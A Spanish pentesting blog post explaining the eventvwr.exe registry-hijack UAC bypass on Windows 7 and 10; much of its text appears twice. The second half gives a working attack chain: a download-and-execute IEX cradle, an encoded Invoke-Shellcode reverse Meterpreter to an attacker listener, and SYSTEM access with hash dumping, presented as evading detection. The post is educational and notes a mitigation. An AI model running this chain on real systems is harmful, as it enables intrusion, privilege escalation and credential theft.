Hace unas semanas hablábamos de un bypass para UAC en Windows 10 de la mano de Matt Graeber. Hoy es otra vez el mismo investigador el que ha publicado un nuevo método para saltarse el sistema de protección de User Account Control (UAC) y hacer elevación automática de privilegios - siempre y cuando el usuario pertenezca al grupo administradores. Esto es importante, ya que el sistema UAC está pensado para que un usuario administrador pueda estar en una sesión de trabajo normal sin que se estén usando sus privilegios de administración, y pueda controlar cuándo y cómo quiere que se usen. Por ejemplo, si ejecuta el Bloc de Notas, ese programa no debería ejecutarse con privilegios de administración e inyectar un driver en el kernel y si lo quiere hacer, el sistema UAC avisa al administrador para que decida si concede o no ese privilegio. En este artículo lo tienes explicado en detalle: User Account Control
Para conseguir que sea más usable el sistema sin que solicite tantas alertas, existen algunas herramientas que se consideran "de administración implícita", lo que hace que si un usuario administrador las abre, esa aplicación se ejecuta automáticamente con permisos de administrador sin avisar al usuario porque se asume que es evidente que esa herramienta necesita los permisos y la persona que la está ejecutando lo sabe. Esto solo está disponible en versiones de Windows 7 a Windows 10.
Encontrar herramientas que hagan autoelevación y aprovechar estos privilegios para ejecutar programas como administrador es lo que se conoce como Bypass de UAC. Las técnicas conocidas para llevar a cabo un bypass de UAC hasta el momento necesitan de la copia de un archivo, generalmente una DLL, en disco. La nueva técnica proporciona una forma de no copiar un archivo al disco, lo cual supone un “plus” a la hora de evadir mecanismos de seguridad y/o protección. Tal y como anunciaba Matt en su Github, la técnica se ha probado en Windows 7 y Windows 10.
¿En qué consiste el UAC Bypass?
Cuando el proceso eventvwr.exe que utiliza el servicio Event Viewer se ejecuta realiza algunas consultas al registro de Windows, en concreto contra la sección HKEY_CURRENT_USER. Eventvwr genera esas consultas siendo un proceso de alta integridad, es decir, se ejecuta con privilegio. En los sistemas operativos Windows este servicio monitoriza todo lo que está sucediendo dentro del sistema, generando eventos que pueden lanzar tareas a posteriori. En ElevenPaths nosotros hicimos una integración de Latch con Event Viewer para controlar todo el sistema Windows usando Latch.
En este caso, el servicio eventvwr.exe está monitorizando claves del registro de Windows con nivel de privilegios administrativos auto-elevados, y ahí radica la forma de saltarse la protección de UAC.¿Qué claves y ramas (Hives) del Registry son importantes en este bug? HKEY_CLASSES_ROOT (HKCR) es una de ellas, ya que es un Hive dónde se combina HKEY_LOCAL_MACHINE:\Software\Classes y HKEY_CLASSES_USER:\Software\Classes. Esto es realmente interesante, ya que HKCU puede ser modificado por el usuario sin privilegios, mientras que HKLM no. Entonces, si un proceso con privilegios administrativos auto-elevados, como puede ser en este caso eventvwr.exe ejecuta algo del Hive HKCR, potencialmente se podría inyectar una clave maliciosa que forzará al proceso a realizar determinadas acciones y éstas se ejecutarían con Nivel de Integridad Alta y privilegios administrativos.
Además, el binario eventvwr.exe ya se sabe que auto-eleva debido a su fichero Manifest. Como se ha explicado al principio, se sabe que algunos binarios de Microsoft están firmados por ellos de tal forma que el sistema operativo los auto-eleva por ser herramientas de administración que se supone con dichos niveles privilegiados siempre. Se puede encontrar más información sobre este tema en la Knowledge Base de Microsoft. Si volvemos al caso de Event Monitor, el proceso eventvwr.exe interactúa con HKCU\Software\Classes\mscfile\shell\open\command, aunque dicha consulta acaba en un “Nombre no encontrado”. Esto puede ser ojeado con Process Monitor de Sysinternals.
Por otro lado, eventvwr.exe también realiza una consulta a HKCR\mscfile\shell\open\command, y el valor predeterminado es mmc.exe.
Aunque la consulta a HKCU devolvió un error, se realizó antes que a HKCR, por lo que deja la puerta abierta a que el proceso eventvwr.exe pueda invocar o interactuar con lo que en HKCU se ponga, haciendo que haya una potencial elevación de privilegio mediante un bypass al UAC.
La nueva PoC de Matt con PowerShell
Viendo dónde radica el fallo, Matt propone un nuevo escenario. Se decide crear la estructura de registro necesaria para que eventvwr.exe consulte correctamente la ubicación HKCU, en lugar de la ubicación HKCR. En la prueba de concepto que se puede encontrar en el Github de Enigma0x3 se puede ver cómo en la ubicación HKCU\Software\Classes\mscfile\shell\open\command se incluye como valor el ejecutable de PowerShell.
Esta acción sustituye al valor esperado, que sería mmc.exe, por el valor de powershell.exe. A medida que el proceso continúa, se consigue ejecutar una consola PowerShell, en lugar del mmc.exe, que sería el valor esperado. Si se echa un ojo con Process Explorer se podría ver cómo el interfaz de comandos PowerShell se está ejecutando con Nivel de Integridad Alta, por lo que aquí tendríamos ya la elevación del privilegio.
Si se puede ejecutar una sesión PowerShell, se podría ejecutar un script malicioso, sin lugar a la duda. En resumen, Matt consigue ejecutar código en un proceso con Nivel de Integridad Alta, hacer un bypass del UAC, todo ello sin necesidad de secuestrar una DLL u otro archivo y sin copiar archivos a disco. Esto reduce de forma muy significativa el riesgo de detección para el atacante.
Para ver la PoC funcionando Matt Graeber y Enigma0x3 han publicado un script que implementa una función denominada Invoke-EventVwrBypass, la cual lleva a cabo la modificación del hive de HKCU y la invocación del proceso eventvwr.exe. El resultado final, si todo funciona correctamente, es que se genera un archivo denominado UACBypassTest.txt en la ruta C:\, la cual solo puede ser escrita cuando se tiene privilegio máximo en el sistema. Para hacerlo funcionar, una vez descargado el script de PowerShell que tiene el exploit para realizar el Bypass de UAC se puede abrir una PowerShell y ejecutar import-module [nombreScript.ps1].
Como se puede ver en la imagen anterior, se ejecuta la función Invoke-EventVwrBypass junto al parámetro Command. En el parámetro Command se le indica que queremos ejecutar con privilegio, y se realiza una llamada al binario powershell.exe y el código "encodeado". Ese código generará un archivo en una ruta privilegiada, como es C:\, tal y como se puede ver en la siguiente imagen.
Un toque personal a la PoC para Ownear Windows
La PoC de Matt y Enigma0x3 ha demostrado que existe una formar de hacer Bypass de UAC, pero nosotros hemos querido un paso más allá y hacer la ejecución de código más práctica, sobre todo pensando en un Pentesting con PowerShell. El escenario propuesto es el siguiente:
Ese código encodeado será el que debamos utilizar para la función Invoke-EventVwrBypass. Antes de seguir, se debe configurar en Metasploit el módulo exploit/multi/handler para recibir la conexión. Los parámetros para esta PoC son sencillos:
Al recibir la sesión en nuestra consola de Metasploit podemos comprobar que el usuario es SYSTEM y podemos, por ejemplo, realizar un volcado de hashes de la máquina. Tenemos el control total.
Conclusiones y vídeo final
Esta técnica no requiere copiar archivos en disco, y directamente todo ocurre en memoria, lo cual ayuda, y mucho, a evadir sistemas de seguridad. Esta técnica no requiere ningún proceso de inyección. Esta técnica permite lograr un bypass de UAC, es decir, no es una escalada de privilegios total, ya que se necesita que el usuario pertenezca al grupo administradores. Pero consiguiendo engañar al usuario se pueden conseguir sesiones privilegiadas en un Ehtical Hacking haciendo uso de técnicas de Pentesting con PowerShell, tal y como podéis ver en el siguiente vídeo:
El fallo de seguridad puede ser remediada si se sigue un proceso de fortificación de Windows y se establece una configuración del nivel de UAC en Modo Windows "Vista", es decir, con la opción de “Siempre notificar”, aunque a muchos usuarios les pese encontrar ese mensaje, o incluso en “Siempre solicitar credenciales”. En definitiva, nueva técnica que deberemos llevar en la mochila del pentester por si acaso se le puede sacar partido en un proyecto.
Autor: Pablo González Pérez (@pablogonzalezpe)
Escritor de los libros "Metasploit para Pentesters", "Ethical Hacking", "Got Root" y “Pentesting con Powershell”
Figura 1: Cómo Ownear Windows 7 & Windows 10 con el nuevo Bypass de UAC |
Para conseguir que sea más usable el sistema sin que solicite tantas alertas, existen algunas herramientas que se consideran "de administración implícita", lo que hace que si un usuario administrador las abre, esa aplicación se ejecuta automáticamente con permisos de administrador sin avisar al usuario porque se asume que es evidente que esa herramienta necesita los permisos y la persona que la está ejecutando lo sabe. Esto solo está disponible en versiones de Windows 7 a Windows 10.
Figura 2: Modos UAC. En Windows 7 a Windows 10 hay autoelevación "implícita" en herramientas |
Encontrar herramientas que hagan autoelevación y aprovechar estos privilegios para ejecutar programas como administrador es lo que se conoce como Bypass de UAC. Las técnicas conocidas para llevar a cabo un bypass de UAC hasta el momento necesitan de la copia de un archivo, generalmente una DLL, en disco. La nueva técnica proporciona una forma de no copiar un archivo al disco, lo cual supone un “plus” a la hora de evadir mecanismos de seguridad y/o protección. Tal y como anunciaba Matt en su Github, la técnica se ha probado en Windows 7 y Windows 10.
Figura 3: Código en PowerShell para hacer el UAC Bypass |
¿En qué consiste el UAC Bypass?
Cuando el proceso eventvwr.exe que utiliza el servicio Event Viewer se ejecuta realiza algunas consultas al registro de Windows, en concreto contra la sección HKEY_CURRENT_USER. Eventvwr genera esas consultas siendo un proceso de alta integridad, es decir, se ejecuta con privilegio. En los sistemas operativos Windows este servicio monitoriza todo lo que está sucediendo dentro del sistema, generando eventos que pueden lanzar tareas a posteriori. En ElevenPaths nosotros hicimos una integración de Latch con Event Viewer para controlar todo el sistema Windows usando Latch.
Figura 4: Latch Event Monitor. Integración de Latch con Event Viewer |
En este caso, el servicio eventvwr.exe está monitorizando claves del registro de Windows con nivel de privilegios administrativos auto-elevados, y ahí radica la forma de saltarse la protección de UAC.¿Qué claves y ramas (Hives) del Registry son importantes en este bug? HKEY_CLASSES_ROOT (HKCR) es una de ellas, ya que es un Hive dónde se combina HKEY_LOCAL_MACHINE:\Software\Classes y HKEY_CLASSES_USER:\Software\Classes. Esto es realmente interesante, ya que HKCU puede ser modificado por el usuario sin privilegios, mientras que HKLM no. Entonces, si un proceso con privilegios administrativos auto-elevados, como puede ser en este caso eventvwr.exe ejecuta algo del Hive HKCR, potencialmente se podría inyectar una clave maliciosa que forzará al proceso a realizar determinadas acciones y éstas se ejecutarían con Nivel de Integridad Alta y privilegios administrativos.
Además, el binario eventvwr.exe ya se sabe que auto-eleva debido a su fichero Manifest. Como se ha explicado al principio, se sabe que algunos binarios de Microsoft están firmados por ellos de tal forma que el sistema operativo los auto-eleva por ser herramientas de administración que se supone con dichos niveles privilegiados siempre. Se puede encontrar más información sobre este tema en la Knowledge Base de Microsoft. Si volvemos al caso de Event Monitor, el proceso eventvwr.exe interactúa con HKCU\Software\Classes\mscfile\shell\open\command, aunque dicha consulta acaba en un “Nombre no encontrado”. Esto puede ser ojeado con Process Monitor de Sysinternals.
Figura 5: Claves del registro tocadas por eventvwr.exe |
Por otro lado, eventvwr.exe también realiza una consulta a HKCR\mscfile\shell\open\command, y el valor predeterminado es mmc.exe.
Figura 6: Clave del registro command |
Aunque la consulta a HKCU devolvió un error, se realizó antes que a HKCR, por lo que deja la puerta abierta a que el proceso eventvwr.exe pueda invocar o interactuar con lo que en HKCU se ponga, haciendo que haya una potencial elevación de privilegio mediante un bypass al UAC.
La nueva PoC de Matt con PowerShell
Viendo dónde radica el fallo, Matt propone un nuevo escenario. Se decide crear la estructura de registro necesaria para que eventvwr.exe consulte correctamente la ubicación HKCU, en lugar de la ubicación HKCR. En la prueba de concepto que se puede encontrar en el Github de Enigma0x3 se puede ver cómo en la ubicación HKCU\Software\Classes\mscfile\shell\open\command se incluye como valor el ejecutable de PowerShell.
Esta acción sustituye al valor esperado, que sería mmc.exe, por el valor de powershell.exe. A medida que el proceso continúa, se consigue ejecutar una consola PowerShell, en lugar del mmc.exe, que sería el valor esperado. Si se echa un ojo con Process Explorer se podría ver cómo el interfaz de comandos PowerShell se está ejecutando con Nivel de Integridad Alta, por lo que aquí tendríamos ya la elevación del privilegio.
Si se puede ejecutar una sesión PowerShell, se podría ejecutar un script malicioso, sin lugar a la duda. En resumen, Matt consigue ejecutar código en un proceso con Nivel de Integridad Alta, hacer un bypass del UAC, todo ello sin necesidad de secuestrar una DLL u otro archivo y sin copiar archivos a disco. Esto reduce de forma muy significativa el riesgo de detección para el atacante.
Para ver la PoC funcionando Matt Graeber y Enigma0x3 han publicado un script que implementa una función denominada Invoke-EventVwrBypass, la cual lleva a cabo la modificación del hive de HKCU y la invocación del proceso eventvwr.exe. El resultado final, si todo funciona correctamente, es que se genera un archivo denominado UACBypassTest.txt en la ruta C:\, la cual solo puede ser escrita cuando se tiene privilegio máximo en el sistema. Para hacerlo funcionar, una vez descargado el script de PowerShell que tiene el exploit para realizar el Bypass de UAC se puede abrir una PowerShell y ejecutar import-module [nombreScript.ps1].
Figura 7: Ejecución de la PoC en PowerShell |
Como se puede ver en la imagen anterior, se ejecuta la función Invoke-EventVwrBypass junto al parámetro Command. En el parámetro Command se le indica que queremos ejecutar con privilegio, y se realiza una llamada al binario powershell.exe y el código "encodeado". Ese código generará un archivo en una ruta privilegiada, como es C:\, tal y como se puede ver en la siguiente imagen.
Figura 8: Fichero creado en C:\ por la PoC |
Un toque personal a la PoC para Ownear Windows
La PoC de Matt y Enigma0x3 ha demostrado que existe una formar de hacer Bypass de UAC, pero nosotros hemos querido un paso más allá y hacer la ejecución de código más práctica, sobre todo pensando en un Pentesting con PowerShell. El escenario propuesto es el siguiente:
- Acceso físico o remoto al equipo: En este caso se hará una demostración con acceso físico, pero como se pudo ver en el artículo Tater & Hot Potato: Ownear sistemas Microsoft Windows, se podría tener acceso remoto mediante la explotación de alguna vulnerabilidad y llevar a cabo el bypass a través del payload de Powershell para Metasploit.
- Ejecución de Payload: Haremos que Powershell se descargue una función dinámicamente y la ejecute. Esta función será Invoke-Shellcode del framework de post-explotación Powersploit.
- Payload descargado dinámicamente: La función descarga dinámicamente y su ejecución será encodeada para que la función Invoke-EventVwrBypass la pueda ejecutar.
- Consola de Metasploit: Una vez conseguido el bypass recibiremos un Meterpreter en nuestra consola remota de Metasploit.
- Owned Total: Demostraremos que tenemos un Meterpreter que se ejecuta en el contexto de System.En primer lugar, vamos a estudiar un pequeño código y todo lo que nos ofrece. La sintaxis es sencilla:
IEX (New-Object Net.WebClient).DownloadString(‘[ruta HTTP fichero PS1]’)Este código lo que hace es descargarse desde una ubicación externa cualquier tipo de código PS1, y mediante el uso de ‘IEX’, Invoke-Expression, se lleva a cabo su ejecución. El fichero que descargaremos será un script PS1 que tendrá la función Invoke-Shellcode y una línea que configura su ejecución al estilo:
Invoke-Shellcode -Payload windows/meterpreter/reverse_httpHay que señalar que se está usando una versión antigua de Invoke-Shellcode. Ahora para encodear la instrucción IEX (New-Object Net.WebClient).DownloadString(‘[ruta HTTP fichero PS1]’), se puede utilizar la función Out-EncodedCommand, la cual puede ser descargado desde Powersploit, y usarlo de forma similar a cómo lo usé en PSBot.
-Lport 8000 -Lhost 192.168.56.101 -Force
Figura 9: Código ofuscado en PowerShell |
Ese código encodeado será el que debamos utilizar para la función Invoke-EventVwrBypass. Antes de seguir, se debe configurar en Metasploit el módulo exploit/multi/handler para recibir la conexión. Los parámetros para esta PoC son sencillos:
- Payload: windows/meterpreter/reverse_http.Ahora, abriendo una PowerShell, con el módulo importado de Invoke-EventVwrBypass, se ejecuta la siguiente línea:
- LHOST: [IP nuestra]
- LPORT: 8000
Invoke-EventVwrBypass -Command “[ruta Powershell] -enc [Código encodeado]”Esto aprovechará la vulnerabilidad explicada anteriormente y nos proporcionará una sesión en la dirección IP dónde le hayamos indicado.
Figura 10: Explotación del bypass de UAC para conseguir una sesión privilegiada |
Al recibir la sesión en nuestra consola de Metasploit podemos comprobar que el usuario es SYSTEM y podemos, por ejemplo, realizar un volcado de hashes de la máquina. Tenemos el control total.
Conclusiones y vídeo final
Esta técnica no requiere copiar archivos en disco, y directamente todo ocurre en memoria, lo cual ayuda, y mucho, a evadir sistemas de seguridad. Esta técnica no requiere ningún proceso de inyección. Esta técnica permite lograr un bypass de UAC, es decir, no es una escalada de privilegios total, ya que se necesita que el usuario pertenezca al grupo administradores. Pero consiguiendo engañar al usuario se pueden conseguir sesiones privilegiadas en un Ehtical Hacking haciendo uso de técnicas de Pentesting con PowerShell, tal y como podéis ver en el siguiente vídeo:
Figura 11: Consecución de una sesión privilegiada haciendo Bypass de UAC
Autor: Pablo González Pérez (@pablogonzalezpe)
Escritor de los libros "Metasploit para Pentesters", "Ethical Hacking", "Got Root" y “Pentesting con Powershell”
Muchas gracias .
ResponderEliminarEstán bien explicados los conceptos y referenciados para quien necesite ir mas despacio.
Me parece muy completo en el aspecto técnico y muy buen trabajo didáctico.
De 10.